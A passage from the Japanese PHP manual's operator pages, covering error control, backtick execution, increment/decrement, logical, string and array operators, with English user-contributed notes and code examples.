function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if ( 0 == error_reporting () ) {
        // Error reporting is currently turned off or suppressed with @
        return;
    }
    // Do your normal custom error reporting here
}
?>

For more info on setting a custom error handler see: http://php.net/manual/en/function.set-error-handler.php
For more info on error_reporting see: http://www.php.net/manual/en/function.error-reporting.php
M. T. 11-Oct-2009 09:20
Be aware of using error control operator in statements before include() like this:

<?PHP

(@include("file.php"))
 OR die("Could not find file.php!");

?>

This cause, that error reporting level is set to zero also for the included file. So if there are some errors in the included file, they will be not displayed.
gerrywastaken 19-May-2009 01:46
Error suppression should be avoided if possible as it doesn't just suppress the error that you are trying to stop, but will also suppress errors that you didn't predict would ever occur. This will make debugging a nightmare.

It is far better to test for the condition that you know will cause an error before preceding to run the code. This way only the error that you know about will be suppressed and not all future errors associated with that piece of code.

There may be a good reason for using outright error suppression in favor of the method I have suggested, however in the many years I've spent programming web apps I've yet to come across a situation where it was a good solution. The examples given on this manual page are certainly not situations where the error control operator should be used.
taras dot dot dot di at gmail dot com 12-Aug-2008 08:29
I was confused as to what the @ symbol actually does, and after a few experiments have concluded the following:

* the error handler that is set gets called regardless of what level the error reporting is set on, or whether the statement is preceeded with @

* it is up to the error handler to impart some meaning on the different error levels. You could make your custom error handler echo all errors, even if error reporting is set to NONE.

* so what does the @ operator do? It temporarily sets the error reporting level to 0 for that line. If that line triggers an error, the error handler will still be called, but it will be called with an error level of 0

Hope this helps someone
nospam at blog dot fileville dot net 03-Jan-2007 11:58
If you want to log all the error messages for a php script from a session you can use something like this:
<?php
 session_start();
  function error($error, $return=FALSE) {
      global $php_errormsg;
      if(isset($_SESSION['php_errors'])) {
        $_SESSION['php_errors'] = array();
    }
  $_SESSION['php_errors'][] = $error; // Maybe use $php_errormsg
  if($return == TRUE) {
    $message = "";
       foreach($_SESSION['php_errors'] as $php_error) {
          $messages .= $php_error."\n";
     }
    return $messages; // Or you can use use $_SESSION['php_errors']
  }
}
?>
Hope this helps someone...
12-Dec-2006 05:52
error_reporting()==0 for detecting the @ error suppression assumes that you did not set the error level to 0 in the first place.

However, typically if you want to set your own error handler, you would set the error_reporting to 0. Therefore, an alternative to detect the @ error suppression is required.
programming at kennebel dot com 13-Oct-2006 06:38
To suppress errors for a new class/object:

<?php
// Tested: PHP 5.1.2 ~ 2006-10-13

// Typical Example
$var = @some_function();

// Class/Object Example
$var = @new some_class();

// Does NOT Work!
//$var = new @some_class(); // syntax error
?>

I found this most useful when connecting to a
database, where i wanted to control the errors
and warnings displayed to the client, while still
using the class style of access.
me at hesterc dot fsnet dot co dot uk 03-Mar-2005 08:25
If you wish to display some text when an error occurs, echo doesn't work. Use print instead. This is explained on the following link 'What is the difference between echo and print?':

http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

It says "print can be used as part of a more complex expression where echo cannot".

Also, you can add multiple code to the result when an error occurs by separating each line with "and". Here is an example:

<?php
$my_file = @file ('non_existent_file') or print 'File not found.' and $string = ' Honest!' and print $string and $fp = fopen ('error_log.txt', 'wb+') and fwrite($fp, $string) and fclose($fp);
?>

A shame you can't use curly brackets above to enclose multiple lines of code, like you can with an if statement or a loop. It could make for a single long line of code. You could always call a function instead.
frogger at netsurf dot de 26-Dec-2004 08:19
Better use the function trigger_error() (http://de.php.net/manual/en/function.trigger-error.php)
to display defined notices, warnings and errors than check the error level your self. this lets you write messages to logfiles if defined in the php.ini, output
messages in dependency to the error_reporting() level and suppress output using the @-sign.


実行演算子

PHP は 1 種類の実行演算子、バッククォート (``) をサポートします。 シングルクォートではないことに注意してください! PHP は、バッククォートの 中身をシェルコマンドとして実行しようとします。出力が返されます (すなわち、出力を単にダンプするのではなく、変数に代入することが できます) 。 バッククォート演算子の使用は shell_exec() と等価です。

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

注意:

バッククォート演算子は、 shell_exec() が無効な場合は無効となります。

注意:

他の言語とは異なり、 ダブルクォートで囲まれた文字列の中でのバッククォート演算子には何の効力もありません。

参考

  • システムプログラムの実行
  • popen()
  • proc_open()
  • PHPをコマンドラインから使用する

User Contributed Notes

ohcc at 163 dot com 04-Dec-2016 02:22
You can use variables within a pair of backticks (``).

<?php
    $host = 'www.wuxiancheng.cn';
    echo `ping -n 3 {$host}`;
?>
robert 01-Mar-2006 11:25
Just a general usage note.  I had a very difficult time solving a problem with my script, when I accidentally put one of these backticks at the beginning of a line, like so:

[lots of code]
`    $URL = "blah...";
[more code]

Since the backtick is right above the tab key, I probably just fat-fingered it while indenting the code.

What made this so hard to find, was that PHP reported a parse error about 50 or so lines *below* the line containing the backtick.  (There were no other backticks anywhere in my code.)  And the error message was rather cryptic:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /blah.php on line 446

Just something to file away in case you're pulling your hair out trying to find an error that "isn't there."


加算子/減算子

PHP は C 言語形式の加算子/減算子（前置・後置ともに）をサポートします。

注意: 加算子/減算子は、数値や文字列にしか影響を及ぼしません。 配列やオブジェクト、boolean、そしてリソースには、何も変更を加えません。 同じく null に減算子を適用しても何も起こりませんが、null に加算子を 適用すると 1 となります。

加算子/減算子
例 | 名前 | 効果
++$a | 前置加算子 | $a に 1 を加え、$a を返します。
$a++ | 後置加算子 | $a を返し、$a に1を加えます。
--$a | 前置減算子 | $a から 1 を引き、$a を返します。
$a-- | 後置減算子 | $a を返し、$a から 1 を引きます。

以下に簡単なスクリプトの例を示します。

<?php
echo "<h3>後置加算</h3>";
$a = 5;
echo "5 となります: " . $a++ . "<br>\n";
echo "6 となります: " . $a . "<br>\n";

echo "<h3>前置加算</h3>";
$a = 5;
echo "6 となります: " . ++$a . "<br>\n";
echo "6 となります: " . $a . "<br>\n";

echo "<h3>後置減算</h3>";
$a = 5;
echo "5 となります: " . $a-- . "<br>\n";
echo "4 となります: " . $a . "<br>\n";

echo "<h3>前置減算</h3>";
$a = 5;
echo "4 となります: " . --$a . "<br>\n";
echo "4 となります: " . $a . "<br>\n";
?>

PHP は、算術演算子で文字変数を扱った場合に C ではなく Perl の慣習に 従います。例えば、PHP や Perl では $a = 'Z'; $a++; の結果として $a が 'AA' になりますが C では a = 'Z'; a++; の結果として a は '[' になります ('Z' の ASCII 値は 90、そして '[' の ASCII 値は 91 です)。 文字変数はインクリメントされることは可能ですがデクリメントは不可能であるということ、 またプレーンな ASCII 文字と数字 (a-z、A-Z、そして 0-9) のみがサポートされるということに注意しましょう。 その他の文字変数のインクリメント/デクリメントは何の効果もなく、元の文字列は変更されません。

例1 文字変数に対する算術演算子の使用

<?php
echo '== Alphabets ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<6; $n++) {
    echo ++$s . PHP_EOL;
}
// 数字の挙動は異なります
echo '== Digits ==' . PHP_EOL;
$d = 'A8';
for ($n=0; $n<6; $n++) {
    echo ++$d . PHP_EOL;
}
$d = 'A08';
for ($n=0; $n<6; $n++) {
    echo ++$d . PHP_EOL;
}
?>

上の例の出力は以下となります。

== Characters ==
X
Y
Z
AA
AB
AC
== Digits ==
A9
B0
B1
B2
B3
B4
A09
A10
A11
A12
A13
A14

論理型に対する加算/減算は何の影響も及ぼしません。

User Contributed Notes

leo zandvliet 09-Jan-2019 07:54
Please note the difference between post-incrementing in a for-loop and recursive function calls (don't use it in the latter!).

<?php
$increment = $preIncrement = $postIncrement = 1;
echo $increment.' - '.$preIncrement.' - '.$postIncrement;
echo '<br>';
echo ($increment+1).' - '.(++$preIncrement).' - '.($postIncrement++);
echo '<br>';
echo ($increment+1).' - '.(++$preIncrement).' - '.($postIncrement++);
echo '<br>';
echo ($increment+1).' - '.(++$preIncrement).' - '.($postIncrement++);
?>

Outputs:
1 - 1 - 1
2 - 2 - 1
2 - 3 - 2
2 - 4 - 3

The for-loop:
<?php
for($i=0; $i<4; $i++)
{
    echo $i.'<br>';
}
?>

Outputs:
0
1
2
3

And the 'headache' mistake, post-increment as parameter of a recursive call:
<?php
testFunctionNesting(3, 1, 1, 1);

function testFunctionNesting($max, $increment, $preIncrement, $postIncrement)
{
    echo $increment.' - '.$preIncrement.' - '.$postIncrement;
    echo '<br>';

    if($increment>=$max)
    {
        $inc = $increment;
        $pre = $preIncrement;
        $post = $postIncrement;
        return;
    }

    testFunctionNesting($max, ($increment+1), (++$preIncrement), ($postIncrement++));
}
?>

Output shows that the postIncremented value is never really available as incremented value:
1 - 1 - 1
2 - 2 - 1
3 - 3 - 1
ayyappan dot ashok at gmail dot com 01-Apr-2016 01:16
Rule for Increment and decrement:

At some moment we could be confused with increment and decrement in various cases. To avoid such cases, let us follow certain logical rule behind to get successful results with out mess.

<?php
           $n = 3;
           echo $n-- + --$n;
           echo "<br/>";
           echo $n;
?>

1. Postfix form of ++,-- operator follows the rule  [ use-then-change ],

2. Prefix form (++x,--x) follows the rule [ change-then-use ].

Solution based on the rule:

Step 1:
use then change   $n--  use is 3 and change is 2

Step 2.
change then use   --$n  change is 2 and use is 1

Step 3.
use + use = (3 + 1) = 4

Courtesy : stackoverflow : Sunil Dhillon : 4686665
ayyappan dot ashok at gmail dot com 29-Mar-2016 09:51
Rule Incrementing or decrementing booleans has no effect.

It has an effort on Incrementing or decrementing booleans.

Please look over the code.

$var = true;
echo ++$var;   //Results 1

Similarly

$var = true;
echo ++$var;   //Results 1

$var = (int)false;
echo ++$var;   //Results 1

$var = (int)false;
echo $var++;   //Results 0;

Note : Tested on PHP Version 5.5.32
aluciffer at hotmail dot com 10-Oct-2014 09:27
Regarding character incrementing and PHP following Perl's convention with character operations.
Actually i found that there is a difference, and incrementing and decrementing unfortunately does not yield the reverse, expected results.
For example, the following piece of code:
<?php
echo '== Alphabets ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<10; $n++) {
    echo ++$s . ' ';
}
echo PHP_EOL;

for ($n=10; $n>0; $n--) {
    echo (--$s) . ' ';
}
?>
Will output:
== Alphabets ==
X Y Z AA AB AC AD AE AF AG
AG AG AG AG AG AG AG AG AG AG

Please note that the decrement operator has no effect on the character or string.

On the other hand, in Perl, the similar script:

#!/usr/bin/perl

my $s = 'W';

foreach (1 .. 10) {
print  ++$s . " ";
}

print "\n";

foreach (1 .. 10) {
print --$s . " ";
}

Will output:

X Y Z AA AB AC AD AE AF AG
-1 -2 -3 -4 -5 -6 -7 -8 -9 -10
hartmut at php dot net 02-Aug-2012 03:28
Note that

$a="9D9"; var_dump(++$a);   => string(3) "9E0"

but counting onwards from there

$a="9E0"; var_dump(++$a);   => float(10)

this is due to "9E0" being interpreted as a string representation of the float constant 9E0 (or 9e0), and thus evalutes to 9 * 10^0 = 9 (in a float context)
Brad Proctor 06-Nov-2010 08:51
I ran some tests (on PHP 5.3.3) of my own and was surprised to find $i += 1 to be the fastest method of incrementing.  Here are the methods fastest to slowest:

$i += 1;
++$i;
$i++;
$i = $i + 1;
dsbeam at gmail dot com 31-Aug-2009 03:35
When using the ++ operator by itself on a variable, ++$var is faster than $var++ and uses slightly less memory (in my experiments).  It would seem like this could be optimized in the language during runtime (if $var++ is the only thing in the whole statement, it could be treated as ++$var).

I conducted many tests (I believe to be fair), and here's one of the results:

$i++ took 8.47515535355 seconds and 2360 bytes
++$i took 7.80081486702 seconds and 2160 bytes

Here's my code.  If anyone sees a bias in it, tell me.  I conducted it many times, each time going through a loop one million iterations and doing each test 10 - 15 times (10 - 15 million uses of the ++ operator).

<?php

ini_set( 'MAX_EXEC_TIME', 120 );
ob_start( );

$num_tests = 10;
$startFirst = $startSecond = $endFirst = $endSecond = $startFirstMemory = $endFirstMemory = $startSecondMemory = $endSecondMemory = $someVal = 0;
$times = array( '$i++' => array( 'time' => 0, 'memory' => 0 ), '++$i' => array( 'total' => 0, 'memory' => 0 ) );

for( $j = 0; $j < $num_tests; ++$j )
{
        for( $i = 0, $startFirstMemory = memory_get_usage( ), $startFirst = microtime( true ); $i < 10000000; $i++ ){ $someval = 2; }
        $endFirstMemory = memory_get_usage( );
        $endFirst = microtime( true );

        for( $i = 0, $startSecondMemory = memory_get_usage( ), $startSecond = microtime( true ); $i < 10000000; ++$i ){ $someval = 2; }
        $endSecondMemory = memory_get_usage( );
        $endSecond = microtime( true );

        $times[ '$i++' ][ $j ] = array( 'startTime' => $startFirst, 'endTime' => $endFirst, 'startMemory' => $startFirstMemory, 'endMemory' => $endFirstMemory );
        $times[ '++$i' ][ $j ] = array( 'startTime' => $startSecond, 'endTime' => $endSecond, 'startMemory' => $startSecondMemory, 'endMemory' => $endSecondMemory );
}

for( $i = 0; $i < $num_tests; ++$i )
{
        $times[ '$i++' ][ 'time' ] += ( $times[ '$i++' ][ $i ][ 'endTime' ] - $times[ '$i++' ][ $i ][ 'startTime' ] );
        $times[ '++$i' ][ 'time' ] += ( $times[ '++$i' ][ $i ][ 'endTime' ] - $times[ '++$i' ][ $i ][ 'startTime' ] );
        $times[ '$i++' ][ 'memory' ] += ( $times[ '$i++' ][ $i ][ 'endMemory' ] - $times[ '$i++' ][ $i ][ 'startMemory' ] );
        $times[ '++$i' ][ 'memory' ] += ( $times[ '++$i' ][ $i ][ 'endMemory' ] - $times[ '++$i' ][ $i ][ 'startMemory' ] );
}

echo 'There were ' . $num_tests . ' tests conducted, here\'s the totals<br /><br />
$i++ took ' . $times[ '$i++' ][ 'time' ] . ' seconds and ' . $times[ '$i++' ][ 'memory' ] . ' bytes<br />
++$i took ' . $times[ '++$i' ][ 'time' ] . ' seconds and ' . $times[ '++$i' ][ 'memory' ] . ' bytes';

ob_end_flush( );

?>

Try it yourself, ;)
sneskid at hotmail dot com 07-Aug-2009 03:49
(related to what "Are Pedersen" wrote)
With arrays it can lead to much confusion if your index variable is altered on the right side of the = sign, either with ++|-- or even when passed to a function by reference..
Consider these (PHP 5):
<?php
$A[$a] = ++$a; // [1]=1
$B[++$b] = ++$b; // [1]=2
$C[$c+=0] = ++$c; // [0]=1
?>
In 'A' you have to be aware that PHP evaluates $A[$a] last.
Yet in 'B' and 'C' PHP evaluates the index and saves it in a temporary variable.

You can always force PHP to evaluate a variable without explicitly storing it as a named variable first, with a simple "+=0" like in example 'C'.

Compared to 'A', 'C' gives the more logically expected result, when we expect evaluation occurs left to right.
PHP does evaluate left to right BUT it will attempt to cut down on temporary variables, which can lead to confusing results.

So just be aware and use either behavior to your advantage for the desired functionality.
cleong at letstalk dot com 17-Oct-2001 07:52
Note that the ++ and -- don't convert a boolean to an int. The following code will loop forever.

function a($start_index) {
for($i = $start_index; $i < 10; $i++) echo "\$i = $i\n";
}

a(false);

This behavior is, of course, very different from that in C. Had me pulling out my hair for a while.
fred at surleau dot com 18-Jul-2001 12:02
Other samples :
$l="A";      $l++; -> $l="B"
$l="A0";     $l++; -> $l="A1"
$l="A9";     $l++; -> $l="B0"
$l="Z99";    $l++; -> $l="AA00"
$l="5Z9";    $l++; -> $l="6A0"
$l="9Z9";    $l++; -> $l="10A0"
$l="9z9";    $l++; -> $l="10a0"
$l="J85410"; $l++; -> $l="J85411"
$l="J99999"; $l++; -> $l="K00000"
$l="K00000"; $l++; -> $l="K00001"


論理演算子

論理演算子
例 | 名前 | 結果
$a and $b | 論理積 | $a および $b が共に true の場合に true
$a or $b | 論理和 | $a または $b のどちらかが true の場合に true
$a xor $b | 排他的論理和 | $a または $b のどちらかが true でかつ両方とも true でない場合に true
! $a | 否定 | $a が true でない場合 true
$a && $b | 論理積 | $a および $b が共に true の場合に true
$a || $b | 論理和 | $a または $b のどちらかが true の場合に true

"and" および "or" 演算子が 2 種類あるのは、演算が行われる際の優先順位が 異なっているためです (演算子の優先順位 を参照ください)。

例1 論理演算子についての説明

<?php

// --------------------
// foo() は決してコールされることはありません。これらの演算子は短絡評価を行うからです。

$a = (false && foo());
$b = (true  || foo());
$c = (false and foo());
$d = (true  or  foo());

// --------------------
// "||" の優先順位は "or" より高くなります

// $e に代入されるのは、(false || true) の評価結果です
// これは、次の式と同様です: ($e = (false || true))
$e = false || true;

// $f に false を代入してから "or" 演算子を評価します
// これは、次の式と同様です: (($f = false) or true)
$f = false or true;

var_dump($e, $f);

// --------------------
// "&&" の優先順位は "and" より高くなります

// $g に代入されるのは、(true && false) の評価結果です
// これは、次の式と同様です: ($g = (true && false))
$g = true && false;

// $h に true を代入してから "and" 演算子を評価します
// これは、次の式と同様です: (($h = true) and false)
$h = true and false;

var_dump($g, $h);
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

egst 16-Feb-2021 11:23
In response to Lawrence about || always returning a boolean:

Instead of

$x ? $x : 'fallback'

you can also use the "elvis operator":

$x ?: 'fallback'

which is useful in cases, where the left-hand side of the ternary operator is too long type, is too complex to calculate twice, or has side-effects.

It also combines nicely with the ?? operator, which is equivalent to an empty() check (both isset() and `!= false`):

$x->y ?? null ?: 'fallback';

instead of:

empty($x->y) ? $x->y : 'fallback'
mcodingset at outlook dot com 16-Oct-2018 05:45
// __forFun ...
// Example Logical `or` operator

$a = true;                  // true|false or something for test :)
$b = "I'm a string result"; // use|test `string` or `object`

if (!$a or !$c = $b) {
    $c = 'Hey';
}

// print result
var_dump($c); // "I'm a string result"

Have Fun!
Manucyan 29-Aug-2018 04:28
So...
A || B   may be different from  B || A

for exemple :

unset($a);
if (    ($a < 0)   ||   (!isset($a))   )
echo 'Hello!';

//      return error:  "Notice: Undefined variable: a "

unset($a);
if (    (!isset($a))   ||    ($a < 0)  )
echo 'Hello!';

//      return   'Hello!'

practical example with an age check over 17 years:
if (    (!isset($age))   ||    ($age < 17)  )
$error_age = true;

this example will not display a php error if the age is not entered
dumitru at floringabriel dot com 10-Apr-2017 10:54
In addition to what Lawrence said about assigning a default value, one can now use the Null Coalescing Operator (PHP 7). Hence when we want to assign a default value we can write:

$a = ($fruit ?? 'apple');
//assigns the $fruit variable content to $a if the $fruit variable exists or has a value that is not NULL, or assigns the value 'apple' to $a if the $fruit variable doesn't exists or it contains the NULL value
vasko at tsintsev dot com 26-Jan-2017 05:01
Here is something useful for OR ( or any other ) bitwise comparison:

$a = 0;
$b = 1;

printf('$a = %1$04b | $b = %2$04b ...  PROCESSED is: %3$s ( %3$04b )', $a, $b, ($a | $b));
thisleenobleNOSPAMPLEASE at mac dot com 09-Jan-2017 11:05
In order to kind of emulate the way javascript assigns the first non-false value in an expression such as this:

var v = a || b || c || d;

I wrote a little helper method that I put in a function dump library (here presented as a bare function):

<?php
function either($a, $b){
        $val = $a ? $a : $b;
        /*
             Yes, I know the fixed parameters in the function
             are redundant since I could just use func_get_args,
             but in most instances I'll be using this a replacement
             for the ternary operator and only passing two values.
             I don't want to invoke the additional process below
             unless I REALLY have to.
        */
        $args = func_get_args();
        if($val === false && count($args) > 2){
            $args = array_slice($args, 2);

            foreach($args as $arg){
                if($arg !== false){
                    $val = $arg;
                    break;
                }
            }
        }
        return $val;
    }
?>

Now instead of:

$v = $a ? $a : $b;

I write:

$v = either($a, $b);

but more importantly, instead of writing:

$v = $a ? $a : ($b ? $b : $c);

I write:

$v = either($a, $b, $c);

or indeed:

$v = either($a, $b, $c, $d, $e, $f, $g, $h);
moschris at gmail dot com 24-May-2016 05:31
Unlike C++ and related languages, side effects in the left operand may NOT be used in the right operand.

e.g. if ($a=1 && $a>0)
will produce an unassigned error if $a has not previously been assigned a value.
drevilkuko at gmail dot com 07-Dec-2015 05:29
using NULL coalesce operator:

<?php
$nc = true == false ?? 'no';
var_dump($nc); // false

$nc = null ?? 'yes';
var_dump($nc); // yes

$username = null == false ?? 'no';
var_dump($nc); // true

$nc = $_GET['something'] ?? 'default';
var_dump($nc); // default

$nc = !isset($_GET['something']) ?? 'wtf';
var_dump($nc); // true

$nc = isset($_GET['something']) ?? 'wtf';
var_dump($nc); // false

$_POST['second'] = 'chain';
$nc = $_GET['first'] ?? $_POST['second'] ?? $_REQUEST['third'] ?? 'wtf';
var_dump($nc); // chain
?>
4077 04-May-2015 06:20
Assign a value to a variable if it isn't defined

<?php

isset($x) || $x = 123;

print $x; // 123

?>

instead of:
<?php

if ( !isset($x)) {
    $x = 123;
}

// or

$x = isset($x) ? $x : 123;

// or

$x = isset($x) ?: 123;
?>

editor's note: In PHP 7 you could use the coalesce operator and do:
<?php
$x = $x ?? 123;
samantha at adrichem dot nu 27-Feb-2015 03:28
<?php
    $res |= true;
    var_dump($res);
?>

does not/no longer returns a boolean (php 5.6) instead it returns int 0 or 1
anatoliy at ukhvanovy dot name 12-Jun-2014 01:41
If you want to use the '||' operator to set a default value, like this:

<?php
$a = $fruit || 'apple'; //if $fruit evaluates to FALSE, then $a will be set to TRUE (because (bool)'apple' == TRUE)
?>

instead, you have to use the '?:' operator:

<?php
$a = ($fruit ? $fruit : 'apple');//if $fruit evaluates to FALSE, then $a will be set to 'apple'
?>

But $fruit will be evaluated twice, which is not desirable. For example fruit() will be called twice:
<?php
function fruit($confirm) {
    if($confirm)
        return 'banana';
}
$a = (fruit(1) ? fruit(1) : 'apple');//fruit() will be called twice!
?>

But since ≪since PHP 5.3, it is possible to leave out the middle part of the ternary operator≫ (http://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.ternary), now you can code like this:

<?php
$a = ($fruit ? : 'apple'); //this will evaluate $fruit only once, and if it evaluates to FALSE, then $a will be set to 'apple'
?>

But remember that a non-empty string '0' evaluates to FALSE!

<?php
$fruit = '1';
$a = ($fruit ? : 'apple'); //this line will set $a to '1'
$fruit = '0';
$a = ($fruit ? : 'apple'); //this line will set $a to 'apple', not '0'!
?>
void at informance dot info 16-Apr-2014 10:53
To assign default value in variable assignation, the simpliest solution to me is:

<?php
$v = my_function() or $v = "default";
?>

It works because, first, $v is assigned the return value from my_function(), then this value is evaluated as a part of a logical operation:
* if the left side is false, null, 0, or an empty string, the right side must be evaluated and, again, because 'or' has low precedence, $v is assigned the string "default"
* if the left side is none of the previously mentioned values, the logical operation ends and $v keeps the return value from my_function()

This is almost the same as the solution from [phpnet at zc dot webhop dot net], except that his solution (parenthesis and double pipe) doesn't take advantage of the "or" low precedence.

NOTE: "" (the empty string) is evaluated as a FALSE logical operand, so make sure that the empty string is not an acceptable value from my_function(). If you need to consider the empty string as an acceptable return value, you must go the classical "if" way.
brian at zickzickzick dot com 19-Jul-2013 03:23
This has been mentioned before, but just in case you missed it:

<?php
    // Defaults --

    //If you're trying to gat 'Jack' from:
    $jack = false or 'Jack';

    // Try:
    $jack = false or $jack = 'Jack';

    //The other option is:
    $jack = false ? false : 'Jack';
?>
phpnet at zc dot webhop dot net 07-Dec-2012 03:07
This works similar to javascripts short-curcuit assignments and setting defaults. (e.g.  var a = getParm() || 'a default';)

<?php

($a = $_GET['var']) || ($a = 'a default');

?>

$a gets assigned $_GET['var'] if there's anything in it or it will fallback to 'a default'
Parentheses are required, otherwise you'll end up with $a being a boolean.
momrom at freenet dot de 19-Apr-2009 08:32
Evaluation of logical expressions is stopped as soon as the result is known.
If you don't want this, you can replace the and-operator by min() and the or-operator by max().

<?php
function a($x) { echo 'Expression '; return $x; }
function b($x) { echo 'is '; return $x; }
function c($x) { echo $x ? 'true.' : 'false.' ;}

c( a( false ) and b( true ) ); // Output: Expression false.
c( min( a( false ), b( true ) ) ); // Output: Expression is false.

c( a( true ) or b( true ) ); // Output: Expression true.
c( max( a( true ), b( true ) ) ); // Output: Expression is true.
?>

This way, values aren't automaticaly converted to boolean like it would be done when using and or or. Therefore, if you aren't sure the values are already boolean, you have to convert them 'by hand':

<?php
c( min( (bool) a( false ), (bool) b( true ) ) );
?>
pepesantillan at gmail dot com 23-Dec-2007 03:23
worth reading for people learning about php and programming: (adding extras <?php ?> to get highlighted code)

about the following example in this page manual:
Example#1 Logical operators illustrated

...
<?php
// "||" has a greater precedence than "or"
$e = false || true; // $e will be assigned to (false || true) which is true
$f = false or true; // $f will be assigned to false
var_dump($e, $f);

// "&&" has a greater precedence than "and"
$g = true && false; // $g will be assigned to (true && false) which is false
$h = true and false; // $h will be assigned to true
var_dump($g, $h);
?>
_______________________________________________end of my quote...

If necessary, I wanted to give further explanation on this and say that when we write:
$f = false or true; // $f will be assigned to false
the explanation:

"||" has a greater precedence than "or"

its true. But a more acurate one would be

"||" has greater precedence than "or" and than "=", whereas "or" doesnt have greater precedence than "=", so

<?php
$f = false or true;

//is like writting

($f = false ) or true;

//and

$e = false || true;

is the same as

$e = (false || true);

?>

same goes for "&&" and "AND".

If you find it hard to remember operators precedence you can always use parenthesys - "(" and ")". And even if you get to learn it remember that being a good programmer is not showing you can do code with fewer words. The point of being a good programmer is writting code that is easy to understand (comment your code when necessary!), easy to maintain and with high efficiency, among other things.
paranoiq at centrum dot cz 19-Nov-2007 08:00
and, or and xor can be used as conditional constructs:

<?php
// do_that() is executed only if do_this() returns false
if($something) do_this() or do_that();
// $b is assigned to $b, do_that() is executed if $b is false
if($something) $a = $b or do_that();

// do_that() is executed only if do_this() returns true
if($something) do_this() and do_that();
// $b is assigned to $b, do_that() is executed if $b is true
if($something) $a = $b and do_that();

// both do_that() and do_this() are executed..
if($something) do_this() xor do_that();
// .. so the behaviour is same as:
if($something) {
    do_this();
    do_that();
}
?>

for understanding what happens if $b is NULL or do_this() returns NULL, read the avbentem's comment on NULL type. generaly speaking, NULL is threated like false in most cases.
peter dot kutak at NOSPAM dot gmail dot com 01-Oct-2007 12:36
$test = true and false;     ---> $test === true
$test = (true and false);  ---> $test === false
$test = true && false;      ---> $test === false

NOTE: this is due to the first line actually being

($test = true) and false;

due to "&&" having a higher precedence than "=" while "and" has a lower one
Lawrence 28-Aug-2007 12:04
Note that PHP's boolean operators *always* return a boolean value... as opposed to other languages that return the value of the last evaluated expression.

For example:

$a = 0 || 'avacado';
print "A: $a\n";

will print:

A: 1

in PHP -- as opposed to printing "A: avacado" as it would in a language like Perl or JavaScript.

This means you can't use the '||' operator to set a default value:

$a = $fruit || 'apple';

instead, you have to use the '?:' operator:

$a = ($fruit ? $fruit : 'apple');
Andrew 13-Aug-2007 08:49
> <?php
> your_function() or return "whatever";
> ?>

doesn't work because return is not an expression, it's a statement. if return was a function it'd work fine. :/


文字列演算子

文字列の演算子は 2 種類あります。最初のは結合演算子('.')で、右引数と 左引数を結合したものを返します。2 番目は、結合代入演算子('.=')で、 この演算子は右側の引数に左側の引数を追加します。詳細は、代入演算子 を 参照ください。

<?php
$a = "Hello ";
$b = $a . "World!"; // $b は、"Hello World!" となります。

$a = "Hello ";
$a .= "World!"; // $a は、"Hello World!" となります。
?>

参考

  • 文字列
  • 文字列 関数

User Contributed Notes

Joseph Alvini 27-Oct-2018 05:45
Concatenation inside of a for/foreach loop. Great for adding onto a string.

function Coffee($string){
    $arr = ["Loves", "Coffee", "With", "His", "Donuts"];

    foreach($arr as $items){
          $string  .= ' ' . $items;
    }

    return $string;
}

echo Coffee("Joe");
Rafael Serna 25-Sep-2018 08:37
Please note that concatenating an array item value using the  key => value syntax will result in a parse error if there are one or more spaces bewteen the concatenation operator (.) :

<?php

$elements = [
    'id' => 63,
    'name' => '{"name": "'. str_repeat("a", 1000) .'"}' // <-- Parse error (there are spaces surrounding string_repeat)
];

$elements = [
    'id' => 63,
    'name' => '{"name": "'.str_repeat("a", 1000).'"}' // <-- OK
];
lci at live dot ca 26-Jan-2018 07:09
Note that the . operator accepts unquoted strings/undefined identifiers.

So $var = "test".test; will result in "testtest" being written to $var and not an error (as one might expect).

Be careful when trying to concatenate variables with strings, if you miss the $ before the variable name it will just concatenate the string with the variable name.

Example:

$variable1 = "testing";

$variable2 = "We are ".variable1;

$variable2 is now "We are variable1" as opposed to the intended "We are testing".
K.Alex 26-Dec-2012 10:22
As for me, curly braces serve good substitution for concatenation, and they are quicker to type and code looks cleaner. Remember to use double quotes (" ") as their content is parced by php, because in single quotes (' ') you'll get litaral name of variable provided:

<?php

 $a = '12345';

// This works:
 echo "qwe{$a}rty"; // qwe12345rty, using braces
 echo "qwe" . $a . "rty"; // qwe12345rty, concatenation used

// Does not work:
 echo 'qwe{$a}rty'; // qwe{$a}rty, single quotes are not parsed
 echo "qwe$arty"; // qwe, because $a became $arty, which is undefined

?>
hexidecimalgadget at hotmail dot com 09-Feb-2009 09:37
If you attempt to add numbers with a concatenation operator, your result will be the result of those numbers as strings.

<?php

echo "thr"."ee";           //prints the string "three"
echo "twe" . "lve";        //prints the string "twelve"
echo 1 . 2;                //prints the string "12"
echo 1.2;                  //prints the number 1.2
echo 1+2;                  //prints the number 3

?>
mariusads::at::helpedia.com 27-Aug-2008 02:44
Be careful so that you don't type "." instead of ";" at the end of a line.

It took me more than 30 minutes to debug a long script because of something like this:

<?
echo 'a'.
$c = 'x';
echo 'b';
echo 'c';
?>

The output is "axbc", because of the dot on the first line.
Stephen Clay 23-Dec-2005 07:10
<?php
"{$str1}{$str2}{$str3}"; // one concat = fast
  $str1. $str2. $str3;   // two concats = slow
?>
Use double quotes to concat more than two strings instead of multiple '.' operators.  PHP is forced to re-concatenate with every '.' operator.
anders dot benke at telia dot com 27-Apr-2004 09:53
A word of caution - the dot operator has the same precedence as + and -, which can yield unexpected results.

Example:

<php
$var = 3;

echo "Result: " . $var + 3;
?>

The above will print out "3" instead of "Result: 6", since first the string "Result3" is created and this is then added to 3 yielding 3, non-empty non-numeric strings being converted to 0.

To print "Result: 6", use parantheses to alter precedence:

<php
$var = 3;

echo "Result: " . ($var + 3);
?>


配列演算子

Array Operators
例 | 名前 | 結果
$a + $b | 結合 | $a および $b を結合する。
$a == $b | 同等 | $a および $b のキー/値のペアが等しい場合に true。
$a === $b | 同一 | $a および $b のキー/値のペアが等しく、その並び順が等しく、 かつデータ型も等しい場合に true。
$a != $b | 等しくない | $a が $b と等しくない場合に true。
$a <> $b | 等しくない | $a が $b と等しくない場合に true。
$a !== $b | 同一でない | $a が $b と同一でない場合に true。

